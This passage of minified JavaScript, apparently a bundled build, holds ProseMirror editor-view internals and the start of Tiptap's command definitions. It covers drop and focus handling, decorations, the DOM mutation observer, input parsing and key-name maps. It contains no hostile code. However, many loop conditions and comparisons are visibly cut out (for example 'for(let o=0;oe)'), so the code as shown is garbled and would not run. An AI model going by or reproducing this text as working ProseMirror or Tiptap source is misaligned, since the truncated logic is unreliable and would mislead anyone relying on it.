o=!!(n&&c2(t,e));if(t.someProp("handleDrop",y=>y(t,e,i||Ie.empty,o))){e.preventDefault();return}if(!i)return;e.preventDefault();let c=i?fS(t.state.doc,a.pos,i):a.pos;c==null&&(c=a.pos);let u=t.state.tr;if(o){let{node:y}=n;y?y.replace(u):u.deleteSelection()}let h=u.mapping.map(c),f=i.openStart==0&&i.openEnd==0&&i.content.childCount==1,m=u.doc;if(f?u.replaceRangeWith(h,h,i.content.firstChild):u.replaceRange(h,h,i),u.doc.eq(m))return;let g=u.doc.resolve(h);if(f&&Xe.isSelectable(i.content.firstChild)&&g.nodeAfter&&g.nodeAfter.sameMarkup(i.content.firstChild))u.setSelection(new Xe(g));else{let y=u.mapping.map(c);u.mapping.maps[u.mapping.maps.length-1].forEach((N,w,v,k)=>y=k),u.setSelection(x0(t,g,u.doc.resolve(y)))}t.focus(),t.dispatch(u.setMeta("uiEvent","drop"))}vr.focus=t=>{t.input.lastFocus=Date.now(),t.focused||(t.domObserver.stop(),t.dom.classList.add("ProseMirror-focused"),t.domObserver.start(),t.focused=!0,setTimeout(()=>{t.docView&&t.hasFocus()&&!t.domObserver.currentSelection.eq(t.domSelectionRange())&&ka(t)},20))};vr.blur=(t,e)=>{let n=e;t.focused&&(t.domObserver.stop(),t.dom.classList.remove("ProseMirror-focused"),t.domObserver.start(),n.relatedTarget&&t.dom.contains(n.relatedTarget)&&t.domObserver.currentSelection.clear(),t.focused=!1)};vr.beforeinput=(t,e)=>{if(Xn&&va&&e.inputType=="deleteContentBackward"){t.domObserver.flushSoon();let{domChangeCount:r}=t.input;setTimeout(()=>{if(t.input.domChangeCount!=r||(t.dom.blur(),t.focus(),t.someProp("handleKeyDown",i=>i(t,to(8,"Backspace")))))return;let{$cursor:a}=t.state.selection;a&&a.pos>0&&t.dispatch(t.state.tr.delete(a.pos-1,a.pos).scrollIntoView())},50)}};for(let t in Nr)vr[t]=Nr[t];function od(t,e){if(t==e)return!0;for(let n in t)if(t[n]!==e[n])return!1;for(let n in e)if(!(n in t))return!1;return!0}class kh{constructor(e,n){this.toDOM=e,this.spec=n||fo,this.side=this.spec.side||0}map(e,n,r,a){let{pos:i,deleted:o}=e.mapResult(n.from+a,this.side<0?-1:1);return o?null:new An(i-r,i-r,this)}valid(){return!0}eq(e){return this==e||e instanceof kh&&(this.spec.key&&this.spec.key==e.spec.key||this.toDOM==e.toDOM&&od(this.spec,e.spec))}destroy(e){this.spec.destroy&&this.spec.destroy(e)}}class xi{constructor(e,n){this.attrs=e,this.spec=n||fo}map(e,n,r,a){let i=e.map(n.from+a,this.spec.inclusiveStart?-1:1)-r,o=e.map(n.to+a,this.spec.inclusiveEnd?1:-1)-r;return i>=o?null:new An(i,o,this)}valid(e,n){return n.from=e&&(!i||i(c.spec))&&r.push(c.copy(c.from+a,c.to+a))}for(let o=0;oe){let c=this.children[o]+1;this.children[o+2].findInner(e-c,n-c,r,a+c,i)}}map(e,n,r){return this==ar||e.maps.length==0?this:this.mapInner(e,n,0,0,r||fo)}mapInner(e,n,r,a,i){let o;for(let c=0;c{let h=u+r,f;if(f=u2(n,c,h)){for(a||(a=this.children.slice());ic&&m.to=e){this.children[c]==e&&(r=this.children[c+2]);break}let i=e+1,o=i+n.content.size;for(let c=0;ci&&u.type instanceof xi){let h=Math.max(i,u.from)-i,f=Math.min(o,u.to)-i;ha.map(e,n,fo));return si.from(r)}forChild(e,n){if(n.isLeaf)return $t.empty;let r=[];for(let a=0;an instanceof $t)?e:e.reduce((n,r)=>n.concat(r instanceof $t?r:r.members),[]))}}forEachSet(e){for(let n=0;n{let v=w-N-(y-g);for(let k=0;kC+f-m)continue;let E=c[k]+f-m;y>=E?c[k+1]=g<=E?-2:-1:g>=f&&v&&(c[k]+=v,c[k+1]+=v)}m+=v}),f=n.maps[h].map(f,-1)}let u=!1;for(let h=0;h=r.content.size){u=!0;continue}let g=n.map(t[h+1]+i,-1),y=g-a,{index:N,offset:w}=r.content.findIndex(m),v=r.maybeChild(N);if(v&&w==m&&w+v.nodeSize==y){let k=c[h+2].mapInner(n,v,f+1,t[h]+i+1,o);k!=ar?(c[h]=m,c[h+1]=y,c[h+2]=k):(c[h+1]=-2,u=!0)}else u=!0}if(u){let h=xL(c,t,e,n,a,i,o),f=Sh(h,r,0,o);e=f.local;for(let m=0;mn&&o.to{let h=u2(t,c,u+n);if(h){i=!0;let f=Sh(h,c,n+u+1,r);f!=ar&&a.push(u,u+c.nodeSize,f)}});let o=d2(i?h2(t):t,-n).sort(po);for(let c=0;c0;)e++;t.splice(e,0,n)}function eg(t){let e=[];return t.someProp("decorations",n=>{let r=n(t.state);r&&r!=ar&&e.push(r)}),t.cursorWrapper&&e.push($t.create(t.state.doc,[t.cursorWrapper.deco])),si.from(e)}const yL={childList:!0,characterData:!0,characterDataOldValue:!0,attributes:!0,attributeOldValue:!0,subtree:!0},bL=Ar&&mi<=11;class vL{constructor(){this.anchorNode=null,this.anchorOffset=0,this.focusNode=null,this.focusOffset=0}set(e){this.anchorNode=e.anchorNode,this.anchorOffset=e.anchorOffset,this.focusNode=e.focusNode,this.focusOffset=e.focusOffset}clear(){this.anchorNode=this.focusNode=null}eq(e){return e.anchorNode==this.anchorNode&&e.anchorOffset==this.anchorOffset&&e.focusNode==this.focusNode&&e.focusOffset==this.focusOffset}}class NL{constructor(e,n){this.view=e,this.handleDOMChange=n,this.queue=[],this.flushingSoon=-1,this.observer=null,this.currentSelection=new vL,this.onCharData=null,this.suppressingSelectionUpdates=!1,this.lastChangedTextNode=null,this.observer=window.MutationObserver&&new window.MutationObserver(r=>{for(let a=0;aa.type=="childList"&&a.removedNodes.length||a.type=="characterData"&&a.oldValue.length>a.target.nodeValue.length)?this.flushSoon():ur&&e.composing&&r.some(a=>a.type=="childList"&&a.target.nodeName=="TR")?(e.input.badSafariComposition=!0,this.flushSoon()):this.flush()}),bL&&(this.onCharData=r=>{this.queue.push({target:r.target,type:"characterData",oldValue:r.prevValue}),this.flushSoon()}),this.onSelectionChange=this.onSelectionChange.bind(this)}flushSoon(){this.flushingSoon<0&&(this.flushingSoon=window.setTimeout(()=>{this.flushingSoon=-1,this.flush()},20))}forceFlush(){this.flushingSoon>-1&&(window.clearTimeout(this.flushingSoon),this.flushingSoon=-1,this.flush())}start(){this.observer&&(this.observer.takeRecords(),this.observer.observe(this.view.dom,yL)),this.onCharData&&this.view.dom.addEventListener("DOMCharacterDataModified",this.onCharData),this.connectSelection()}stop(){if(this.observer){let e=this.observer.takeRecords();if(e.length){for(let n=0;nthis.flush(),20)}this.observer.disconnect()}this.onCharData&&this.view.dom.removeEventListener("DOMCharacterDataModified",this.onCharData),this.disconnectSelection()}connectSelection(){this.view.dom.ownerDocument.addEventListener("selectionchange",this.onSelectionChange)}disconnectSelection(){this.view.dom.ownerDocument.removeEventListener("selectionchange",this.onSelectionChange)}suppressSelectionUpdates(){this.suppressingSelectionUpdates=!0,setTimeout(()=>this.suppressingSelectionUpdates=!1,50)}onSelectionChange(){if(K1(this.view)){if(this.suppressingSelectionUpdates)return ka(this.view);if(Ar&&mi<=11&&!this.view.state.selection.empty){let e=this.view.domSelectionRange();if(e.focusNode&&No(e.focusNode,e.focusOffset,e.anchorNode,e.anchorOffset))return this.flushSoon()}this.flush()}}setCurSelection(){this.currentSelection.set(this.view.domSelectionRange())}ignoreSelectionChange(e){if(!e.focusNode)return!0;let n=new Set,r;for(let i=e.focusNode;i;i=Cl(i))n.add(i);for(let i=e.anchorNode;i;i=Cl(i))if(n.has(i)){r=i;break}let a=r&&this.view.docView.nearestDesc(r);if(a&&a.ignoreMutation({type:"selection",target:r.nodeType==3?r.parentNode:r}))return this.setCurSelection(),!0}pendingRecords(){if(this.observer)for(let e of this.observer.takeRecords())this.queue.push(e);return this.queue}flush(){let{view:e}=this;if(!e.docView||this.flushingSoon>-1)return;let n=this.pendingRecords();n.length&&(this.queue=[]);let r=e.domSelectionRange(),a=!this.suppressingSelectionUpdates&&!this.currentSelection.eq(r)&&K1(e)&&!this.ignoreSelectionChange(r),i=-1,o=-1,c=!1,u=[];if(e.editable)for(let f=0;ff.nodeName=="BR")&&(e.input.lastKeyCode==8||e.input.lastKeyCode==46)){for(let f of u)if(f.nodeName=="BR"&&f.parentNode){let m=f.nextSibling;m&&m.nodeType==1&&m.contentEditable=="false"&&f.parentNode.removeChild(f)}}else if(ls&&u.length){let f=u.filter(m=>m.nodeName=="BR");if(f.length==2){let[m,g]=f;m.parentNode&&m.parentNode.parentNode==g.parentNode?g.remove():m.remove()}else{let{focusNode:m}=this.currentSelection;for(let g of f){let y=g.parentNode;y&&y.nodeName=="LI"&&(!m||kL(e,m)!=y)&&g.remove()}}}let h=null;i<0&&a&&e.input.lastFocus>Date.now()-200&&Math.max(e.input.lastTouch,e.input.lastClick.time)-1||a)&&(i>-1&&(e.docView.markDirty(i,o),wL(e)),e.input.badSafariComposition&&(e.input.badSafariComposition=!1,SL(e,u)),this.handleDOMChange(i,o,c,u),e.docView&&e.docView.dirty?e.updateState(e.state):this.currentSelection.eq(r)||ka(e),this.currentSelection.set(r))}registerMutation(e,n){if(n.indexOf(e.target)>-1)return null;let r=this.view.docView.nearestDesc(e.target);if(e.type=="attributes"&&(r==this.view.docView||e.attributeName=="contenteditable"||e.attributeName=="style"&&!e.oldValue&&!e.target.getAttribute("style"))||!r||r.ignoreMutation(e))return null;if(e.type=="childList"){for(let f=0;fa;v--){let k=r.childNodes[v-1],C=k.pmViewDesc;if(k.nodeName=="BR"&&!C){i=v;break}if(!C||C.size)break}let m=t.state.doc,g=t.someProp("domParser")||pi.fromSchema(t.state.schema),y=m.resolve(o),N=null,w=g.parse(r,{topNode:y.parent,topMatch:y.parent.contentMatchAt(y.index()),topOpen:!0,from:a,to:i,preserveWhitespace:y.parent.type.whitespace=="pre"?"full":!0,findPositions:h,ruleFromNode:EL,context:y});if(h&&h[0].pos!=null){let v=h[0].pos,k=h[1]&&h[1].pos;k==null&&(k=v),N={anchor:v+o,head:k+o}}return{doc:w,sel:N,from:o,to:c}}function EL(t){let e=t.pmViewDesc;if(e)return e.parseRule();if(t.nodeName=="BR"&&t.parentNode){if(ur&&/^(ul|ol)$/i.test(t.parentNode.nodeName)){let n=document.createElement("div");return n.appendChild(document.createElement("li")),{skip:n}}else if(t.parentNode.lastChild==t||ur&&/^(tr|table)$/i.test(t.parentNode.nodeName))return{ignore:!0}}else if(t.nodeName=="IMG"&&t.getAttribute("mark-placeholder"))return{ignore:!0};return null}const TL=/^(a|abbr|acronym|b|bd[io]|big|br|button|cite|code|data(list)?|del|dfn|em|i|img|ins|kbd|label|map|mark|meter|output|q|ruby|s|samp|small|span|strong|su[bp]|time|u|tt|var)$/i;function ML(t,e,n,r,a){let i=t.input.compositionPendingChanges||(t.composing?t.input.compositionID:0);if(t.input.compositionPendingChanges=0,e<0){let L=t.input.lastSelectionTime>Date.now()-50?t.input.lastSelectionOrigin:null,R=g0(t,L);if(R&&!t.state.selection.eq(R)){if(Xn&&va&&t.input.lastKeyCode===13&&Date.now()-100_(t,to(13,"Enter"))))return;let D=t.state.tr.setSelection(R);L=="pointer"?D.setMeta("pointer",!0):L=="key"&&D.scrollIntoView(),i&&D.setMeta("composition",i),t.dispatch(D)}return}let o=t.state.doc.resolve(e),c=o.sharedDepth(n);e=o.before(c+1),n=t.state.doc.resolve(n).after(c+1);let u=t.state.selection,h=CL(t,e,n),f=t.state.doc,m=f.slice(h.from,h.to),g,y;t.input.lastKeyCode===8&&Date.now()-100Date.now()-225||va)&&a.some(L=>L.nodeType==1&&!TL.test(L.nodeName))&&(!N||N.endA>=N.endB)&&t.someProp("handleKeyDown",L=>L(t,to(13,"Enter")))){t.input.lastIOSEnter=0;return}if(!N)if(r&&u instanceof Ze&&!u.empty&&u.$head.sameParent(u.$anchor)&&!t.composing&&!(h.sel&&h.sel.anchor!=h.sel.head))N={start:u.from,endA:u.to,endB:u.to};else{if(h.sel){let L=sN(t,t.state.doc,h.sel);if(L&&!L.eq(t.state.selection)){let R=t.state.tr.setSelection(L);i&&R.setMeta("composition",i),t.dispatch(R)}}return}t.state.selection.fromt.state.selection.from&&N.start<=t.state.selection.from+2&&t.state.selection.from>=h.from?N.start=t.state.selection.from:N.endA=t.state.selection.to-2&&t.state.selection.to<=h.to&&(N.endB+=t.state.selection.to-N.endA,N.endA=t.state.selection.to)),Ar&&mi<=11&&N.endB==N.start+1&&N.endA==N.start&&N.start>h.from&&h.doc.textBetween(N.start-h.from-1,N.start-h.from+1)=="  "&&(N.start--,N.endA--,N.endB--);let w=h.doc.resolveNoCache(N.start-h.from),v=h.doc.resolveNoCache(N.endB-h.from),k=f.resolve(N.start),C=w.sameParent(v)&&w.parent.inlineContent&&k.end()>=N.endA;if((El&&t.input.lastIOSEnter>Date.now()-225&&(!C||a.some(L=>L.nodeName=="DIV"||L.nodeName=="P"))||!C&&w.posL(t,to(13,"Enter")))){t.input.lastIOSEnter=0;return}if(t.state.selection.anchor>N.start&&IL(f,N.start,N.endA,w,v)&&t.someProp("handleKeyDown",L=>L(t,to(8,"Backspace")))){va&&Xn&&t.domObserver.suppressSelectionUpdates();return}Xn&&N.endB==N.start&&(t.input.lastChromeDelete=Date.now()),va&&!C&&w.start()!=v.start()&&v.parentOffset==0&&w.depth==v.depth&&h.sel&&h.sel.anchor==h.sel.head&&h.sel.head==N.endA&&(N.endB-=2,v=h.doc.resolveNoCache(N.endB-h.from),setTimeout(()=>{t.someProp("handleKeyDown",function(L){return L(t,to(13,"Enter"))})},20));let E=N.start,T=N.endA,I=L=>{let R=L||t.state.tr.replace(E,T,h.doc.slice(N.start-h.from,N.endB-h.from));if(h.sel){let D=sN(t,R.doc,h.sel);D&&!(Xn&&t.composing&&D.empty&&(N.start!=N.endB||t.input.lastChromeDeleteka(t),20));let L=I(t.state.tr.delete(E,T)),R=f.resolve(N.start).marksAcross(f.resolve(N.endA));R&&L.ensureMarks(R),t.dispatch(L)}else if(N.endA==N.endB&&(O=AL(w.parent.content.cut(w.parentOffset,v.parentOffset),k.parent.content.cut(k.parentOffset,N.endA-k.start())))){let L=I(t.state.tr);O.type=="add"?L.addMark(E,T,O.mark):L.removeMark(E,T,O.mark),t.dispatch(L)}else if(w.parent.child(w.index()).isText&&w.index()==v.index()-(v.textOffset?0:1)){let L=w.parent.textBetween(w.parentOffset,v.parentOffset),R=()=>I(t.state.tr.insertText(L,E,T));t.someProp("handleTextInput",D=>D(t,E,T,L,R))||t.dispatch(R())}else t.dispatch(I());else t.dispatch(I())}function sN(t,e,n){return Math.max(n.anchor,n.head)>e.content.size?null:x0(t,e.resolve(n.anchor),e.resolve(n.head))}function AL(t,e){let n=t.firstChild.marks,r=e.firstChild.marks,a=n,i=r,o,c,u;for(let f=0;ff.mark(c.addToSet(f.marks));else if(a.length==0&&i.length==1)c=i[0],o="remove",u=f=>f.mark(c.removeFromSet(f.marks));else return null;let h=[];for(let f=0;fn||tg(o,!0,!1)0&&(e||t.indexAfter(r)==t.node(r).childCount);)r--,a++,e=!1;if(n){let i=t.node(r).maybeChild(t.indexAfter(r));for(;i&&!i.isLeaf;)i=i.firstChild,a++}return a}function RL(t,e,n,r,a){let i=t.findDiffStart(e,n);if(i==null)return null;let{a:o,b:c}=t.findDiffEnd(e,n+t.size,n+e.size);if(a=="end"){let u=Math.max(0,i-Math.min(o,c));r-=o+u-i}if(o=o?i-r:0;i-=u,i&&i=c?i-r:0;i-=u,i&&i=56320&&e<=57343&&n>=55296&&n<=56319}class f2{constructor(e,n){this._root=null,this.focused=!1,this.trackWrites=null,this.mounted=!1,this.markCursor=null,this.cursorWrapper=null,this.lastSelectedViewDesc=void 0,this.input=new GD,this.prevDirectPlugins=[],this.pluginViews=[],this.requiresGeckoHackNode=!1,this.dragging=null,this._props=n,this.state=n.state,this.directPlugins=n.plugins||[],this.directPlugins.forEach(dN),this.dispatch=this.dispatch.bind(this),this.dom=e&&e.mount||document.createElement("div"),e&&(e.appendChild?e.appendChild(this.dom):typeof e=="function"?e(this.dom):e.mount&&(this.mounted=!0)),this.editable=lN(this),oN(this),this.nodeViews=cN(this),this.docView=F1(this.state.doc,iN(this),eg(this),this.dom,this),this.domObserver=new NL(this,(r,a,i,o)=>ML(this,r,a,i,o)),this.domObserver.start(),JD(this),this.updatePluginViews()}get composing(){return this.input.composing}get props(){if(this._props.state!=this.state){let e=this._props;this._props={};for(let n in e)this._props[n]=e[n];this._props.state=this.state}return this._props}update(e){e.handleDOMEvents!=this._props.handleDOMEvents&&ax(this);let n=this._props;this._props=e,e.plugins&&(e.plugins.forEach(dN),this.directPlugins=e.plugins),this.updateStateInner(e.state,n)}setProps(e){let n={};for(let r in this._props)n[r]=this._props[r];n.state=this.state;for(let r in e)n[r]=e[r];this.update(n)}updateState(e){this.updateStateInner(e,this._props)}updateStateInner(e,n){var r;let a=this.state,i=!1,o=!1;e.storedMarks&&this.composing&&(i2(this),o=!0),this.state=e;let c=a.plugins!=e.plugins||this._props.plugins!=n.plugins;if(c||this._props.plugins!=n.plugins||this._props.nodeViews!=n.nodeViews){let y=cN(this);OL(y,this.nodeViews)&&(this.nodeViews=y,i=!0)}(c||n.handleDOMEvents!=this._props.handleDOMEvents)&&ax(this),this.editable=lN(this),oN(this);let u=eg(this),h=iN(this),f=a.plugins!=e.plugins&&!a.doc.eq(e.doc)?"reset":e.scrollToSelection>a.scrollToSelection?"to selection":"preserve",m=i||!this.docView.matchesNode(e.doc,h,u);(m||!e.selection.eq(a.selection))&&(o=!0);let g=f=="preserve"&&o&&this.dom.style.overflowAnchor==null&&cD(this);if(o){this.domObserver.stop();let y=m&&(Ar||Xn)&&!this.composing&&!a.selection.empty&&!e.selection.empty&&PL(a.selection,e.selection);if(m){let N=Xn?this.trackWrites=this.domSelectionRange().focusNode:null;this.composing&&(this.input.compositionNode=cL(this)),(i||!this.docView.update(e.doc,h,u,this))&&(this.docView.updateOuterDeco(h),this.docView.destroy(),this.docView=F1(e.doc,h,u,this.dom,this)),N&&(!this.trackWrites||!this.dom.contains(this.trackWrites))&&(y=!0)}y||!(this.input.mouseDown&&this.domObserver.currentSelection.eq(this.domSelectionRange())&&PD(this))?ka(this,y):(GS(this,e.selection),this.domObserver.setCurSelection()),this.domObserver.start()}this.updatePluginViews(a),!((r=this.dragging)===null||r===void 0)&&r.node&&!a.doc.eq(e.doc)&&this.updateDraggedNode(this.dragging,a),f=="reset"?this.dom.scrollTop=0:f=="to selection"?this.scrollToSelection():g&&dD(g)}scrollToSelection(){let e=this.domSelectionRange().focusNode;if(!(!e||!this.dom.contains(e.nodeType==1?e:e.parentNode))){if(!this.someProp("handleScrollToSelection",n=>n(this)))if(this.state.selection instanceof Xe){let n=this.docView.domAfterPos(this.state.selection.from);n.nodeType==1&&O1(this,n.getBoundingClientRect(),e)}else O1(this,this.coordsAtPos(this.state.selection.head,1),e)}}destroyPluginViews(){let e;for(;e=this.pluginViews.pop();)e.destroy&&e.destroy()}updatePluginViews(e){if(!e||e.plugins!=this.state.plugins||this.directPlugins!=this.prevDirectPlugins){this.prevDirectPlugins=this.directPlugins,this.destroyPluginViews();for(let n=0;n0&&this.state.doc.nodeAt(i))==r.node&&(a=i)}this.dragging=new l2(e.slice,e.move,a<0?void 0:Xe.create(this.state.doc,a))}someProp(e,n){let r=this._props&&this._props[e],a;if(r!=null&&(a=n?n(r):r))return a;for(let o=0;on.ownerDocument.getSelection()),this._root=n}return e||document}updateRoot(){this._root=null}posAtCoords(e){return gD(this,e)}coordsAtPos(e,n=1){return FS(this,e,n)}domAtPos(e,n=0){return this.docView.domFromPos(e,n)}nodeDOM(e){let n=this.docView.descAt(e);return n?n.nodeDOM:null}posAtDOM(e,n,r=-1){let a=this.docView.posFromDOM(e,n,r);if(a==null)throw new RangeError("DOM position not inside the editor");return a}endOfTextblock(e,n){return ND(this,n||this.state,e)}pasteHTML(e,n){return id(this,"",e,!1,n||new ClipboardEvent("paste"))}pasteText(e,n){return id(this,e,null,!0,n||new ClipboardEvent("paste"))}serializeForClipboard(e){return y0(this,e)}destroy(){this.docView&&(YD(this),this.destroyPluginViews(),this.mounted?(this.docView.update(this.state.doc,[],eg(this),this),this.dom.textContent=""):this.dom.parentNode&&this.dom.parentNode.removeChild(this.dom),this.docView.destroy(),this.docView=null,ZO())}get isDestroyed(){return this.docView==null}dispatchEvent(e){return XD(this,e)}domSelectionRange(){let e=this.domSelection();return e?ur&&this.root.nodeType===11&&sD(this.dom.ownerDocument)==this.dom&&jL(this,e)||e:{focusNode:null,focusOffset:0,anchorNode:null,anchorOffset:0}}domSelection(){return this.root.getSelection()}}f2.prototype.dispatch=function(t){let e=this._props.dispatchTransaction;e?e.call(this,t):this.updateState(this.state.apply(t))};function iN(t){let e=Object.create(null);return e.class="ProseMirror",e.contenteditable=String(t.editable),t.someProp("attributes",n=>{if(typeof n=="function"&&(n=n(t.state)),n)for(let r in n)r=="class"?e.class+=" "+n[r]:r=="style"?e.style=(e.style?e.style+";":"")+n[r]:!e[r]&&r!="contenteditable"&&r!="nodeName"&&(e[r]=String(n[r]))}),e.translate||(e.translate="no"),[An.node(0,t.state.doc.content.size,e)]}function oN(t){if(t.markCursor){let e=document.createElement("img");e.className="ProseMirror-separator",e.setAttribute("mark-placeholder","true"),e.setAttribute("alt",""),t.cursorWrapper={dom:e,deco:An.widget(t.state.selection.from,e,{raw:!0,marks:t.markCursor})}}else t.cursorWrapper=null}function lN(t){return!t.someProp("editable",e=>e(t.state)===!1)}function PL(t,e){let n=Math.min(t.$anchor.sharedDepth(t.head),e.$anchor.sharedDepth(e.head));return t.$anchor.start(n)!=e.$anchor.start(n)}function cN(t){let e=Object.create(null);function n(r){for(let a in r)Object.prototype.hasOwnProperty.call(e,a)||(e[a]=r[a])}return t.someProp("nodeViews",n),t.someProp("markViews",n),e}function OL(t,e){let n=0,r=0;for(let a in t){if(t[a]!=e[a])return!0;n++}for(let a in e)r++;return n!=r}function dN(t){if(t.spec.state||t.spec.filterTransaction||t.spec.appendTransaction)throw new RangeError("Plugins passed directly to the view must not have a state component")}var vi={8:"Backspace",9:"Tab",10:"Enter",12:"NumLock",13:"Enter",16:"Shift",17:"Control",18:"Alt",20:"CapsLock",27:"Escape",32:" ",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"ArrowLeft",38:"ArrowUp",39:"ArrowRight",40:"ArrowDown",44:"PrintScreen",45:"Insert",46:"Delete",59:";",61:"=",91:"Meta",92:"Meta",106:"*",107:"+",108:",",109:"-",110:".",111:"/",144:"NumLock",145:"ScrollLock",160:"Shift",161:"Shift",162:"Control",163:"Control",164:"Alt",165:"Alt",173:"-",186:";",187:"=",188:",",189:"-",190:".",191:"/",192:"`",219:"[",220:"\\",221:"]",222:"'"},Ch={48:")",49:"!",50:"@",51:"#",52:"$",53:"%",54:"^",55:"&",56:"*",57:"(",59:":",61:"+",173:"_",186:":",187:"+",188:"<",189:"_",190:">",191:"?",192:"~",219:"{",220:"|",221:"}",222:'"'},DL=typeof navigator<"u"&&/Mac/.test(navigator.platform),LL=typeof navigator<"u"&&/MSIE \d|Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(navigator.userAgent);for(var Qn=0;Qn<10;Qn++)vi[48+Qn]=vi[96+Qn]=String(Qn);for(var Qn=1;Qn<=24;Qn++)vi[Qn+111]="F"+Qn;for(var Qn=65;Qn<=90;Qn++)vi[Qn]=String.fromCharCode(Qn+32),Ch[Qn]=String.fromCharCode(Qn);for(var ng in vi)Ch.hasOwnProperty(ng)||(Ch[ng]=vi[ng]);function _L(t){var e=DL&&t.metaKey&&t.shiftKey&&!t.ctrlKey&&!t.altKey||LL&&t.shiftKey&&t.key&&t.key.length==1||t.key=="Unidentified",n=!e&&t.key||(t.shiftKey?Ch:vi)[t.keyCode]||t.key||"Unidentified";return n=="Esc"&&(n="Escape"),n=="Del"&&(n="Delete"),n=="Left"&&(n="ArrowLeft"),n=="Up"&&(n="ArrowUp"),n=="Right"&&(n="ArrowRight"),n=="Down"&&(n="ArrowDown"),n}const zL=typeof navigator<"u"&&/Mac|iP(hone|[oa]d)/.test(navigator.platform),$L=typeof navigator<"u"&&/Win/.test(navigator.platform);function FL(t){let e=t.split(/-(?!$)/),n=e[e.length-1];n=="Space"&&(n=" ");let r,a,i,o;for(let c=0;c{for(var n in e)HL(t,n,{get:e[n],enumerable:!0})};function Af(t){const{state:e,transaction:n}=t;let{selection:r}=n,{doc:a}=n,{storedMarks:i}=n;return{...e,apply:e.apply.bind(e),applyTransaction:e.applyTransaction.bind(e),plugins:e.plugins,schema:e.schema,reconfigure:e.reconfigure.bind(e),toJSON:e.toJSON.bind(e),get storedMarks(){return i},get selection(){return r},get doc(){return a},get tr(){return r=n.selection,a=n.doc,i=n.storedMarks,n}}}var If=class{constructor(t){this.editor=t.editor,this.rawCommands=this.editor.extensionManager.commands,this.customState=t.state}get hasCustomState(){return!!this.customState}get state(){return this.customState||this.editor.state}get commands(){const{rawCommands:t,editor:e,state:n}=this,{view:r}=e,{tr:a}=n,i=this.buildProps(a);return Object.fromEntries(Object.entries(t).map(([o,c])=>[o,(...h)=>{const f=c(...h)(i);return!a.getMeta("preventDispatch")&&!this.hasCustomState&&r.dispatch(a),f}]))}get chain(){return()=>this.createChain()}get can(){return()=>this.createCan()}createChain(t,e=!0){const{rawCommands:n,editor:r,state:a}=this,{view:i}=r,o=[],c=!!t,u=t||a.tr,h=()=>(!c&&e&&!u.getMeta("preventDispatch")&&!this.hasCustomState&&i.dispatch(u),o.every(m=>m===!0)),f={...Object.fromEntries(Object.entries(n).map(([m,g])=>[m,(...N)=>{const w=this.buildProps(u,e),v=g(...N)(w);return o.push(v),f}])),run:h};return f}createCan(t){const{rawCommands:e,state:n}=this,r=!1,a=t||n.tr,i=this.buildProps(a,r);return{...Object.fromEntries(Object.entries(e).map(([c,u])=>[c,(...h)=>u(...h)({...i,dispatch:void 0})])),chain:()=>this.createChain(a,r)}}buildProps(t,e=!0){const{rawCommands:n,editor:r,state:a}=this,{view:i}=r,o={tr:t,editor:r,view:i,state:Af({state:a,transaction:t}),dispatch:e?()=>{}:void 0,chain:()=>this.createChain(t,e),can:()=>this.createCan(t),get commands(){return Object.fromEntries(Object.entries(n).map(([c,u])=>[c,(...h)=>u(...h)(o)]))}};return o}},p2={};S0(p2,{blur:()=>WL,clearContent:()=>UL,clearNodes:()=>KL,command:()=>qL,createParagraphNear:()=>GL,cut:()=>JL,deleteCurrentNode:()=>YL,deleteNode:()=>QL,deleteRange:()=>XL,deleteSelection:()=>ZL,enter:()=>e8,exitCode:()=>t8,extendMarkRange:()=>n8,first:()=>r8,focus:()=>a8,forEach:()=>i8,insertContent:()=>o8,insertContentAt:()=>d8,joinBackward:()=>f8,joinDown:()=>h8,joinForward:()=>p8,joinItemBackward:()=>m8,joinItemForward:()=>g8,joinTextblockBackward:()=>x8,joinTextblockForward:()=>y8,joinUp:()=>u8,keyboardShortcut:()=>v8,lift:()=>N8,liftEmptyBlock:()=>w8,liftListItem:()=>j8,newlineInCode:()=>k8,resetAttributes:()=>S8,scrollIntoView:()=>C8,selectAll:()=>E8,selectNodeBackward:()=>T8,selectNodeForward:()=>M8,selectParentNode:()=>A8,selectTextblockEnd:()=>I8,selectTextblockStart:()=>R8,setContent:()=>P8,setMark:()=>Z8,setMeta:()=>e6,setNode:()=>t6,setNodeSelection:()=>n6,setTextDirection:()=>r6,setTextSelection:()=>s6,sinkListItem:()=>a6,splitBlock:()=>i6,splitListItem:()=>o6,toggleList:()=>l6,toggleMark:()=>c6,toggleNode:()=>d6,toggleWrap:()=>u6,undoInputRule:()=>h6,unsetAllMarks:()=>f6,unsetMark:()=>p6,unsetTextDirection:()=>m6,updateAttributes:()=>g6,wrapIn:()=>x6,wrapInList:()=>y6});var WL=()=>({editor:t,view:e})=>(requestAnimationFrame(()=>{var n;t.isDestroyed||(e.dom.blur(),(n=window==null?void 0:window.getSelection())==null||n.removeAllRanges())}),!0),UL=(t=!0)=>({commands:e})=>e.setContent("",{emitUpdate:t}),KL=()=>({state:t,tr:e,dispatch:n})=>{const{selection:r}=e,{ranges:a}=r;return n&&a.forEach(({$from:i,$to:o})=>{t.doc.nodesBetween(i.pos,o.pos,(c,u)=>{if(c.type.isText)return;const{doc:h,mapping:f}=e,m=h.resolve(f.map(u)),g=h.resolve(f.map(u+c.nodeSize)),y=m.blockRange(g);if(!y)return;const N=$l(y);if(c.type.isTextblock){const{defaultType:w}=m.parent.contentMatchAt(m.index());e.setNodeMarkup(y.start,w)}(N||N===0)&&e.lift(y,N)})}),!0},qL=t=>e=>t(e),GL=()=>({state:t,dispatch:e})=>MS(t,e),JL=(t,e)=>({editor:n,tr:r})=>{const{state:a}=n,i=a.doc.slice(t.from,t.to);r.deleteRange(t.from,t.to);const o=r.mapping.map(e);return r.insert(o,i.content),r.setSelection(new Ze(r.doc.resolve(Math.max(o-1,0)))),!0},YL=()=>({tr:t,dispatch:e})=>{const{selection:n}=t,r=n.$anchor.node();if(r.content.size>0)return!1;const a=t.selection.$anchor;for(let i=a.depth;i>0;i-=1)if(a.node(i).type===r.type){if(e){const c=a.before(i),u=a.after(i);t.delete(c,u).scrollIntoView()}return!0}return!1};function Sn(t,e){if(typeof t=="string"){if(!e.nodes[t])throw Error(`There is no node type named '${t}'. Maybe you forgot to add the extension?`);return e.nodes[t]}return t}var QL=t=>({tr:e,state:n,dispatch:r})=>{const a=Sn(t,n.schema),i=e.selection.$anchor;for(let o=i.depth;o>0;o-=1)if(i.node(o).type===a){if(r){const 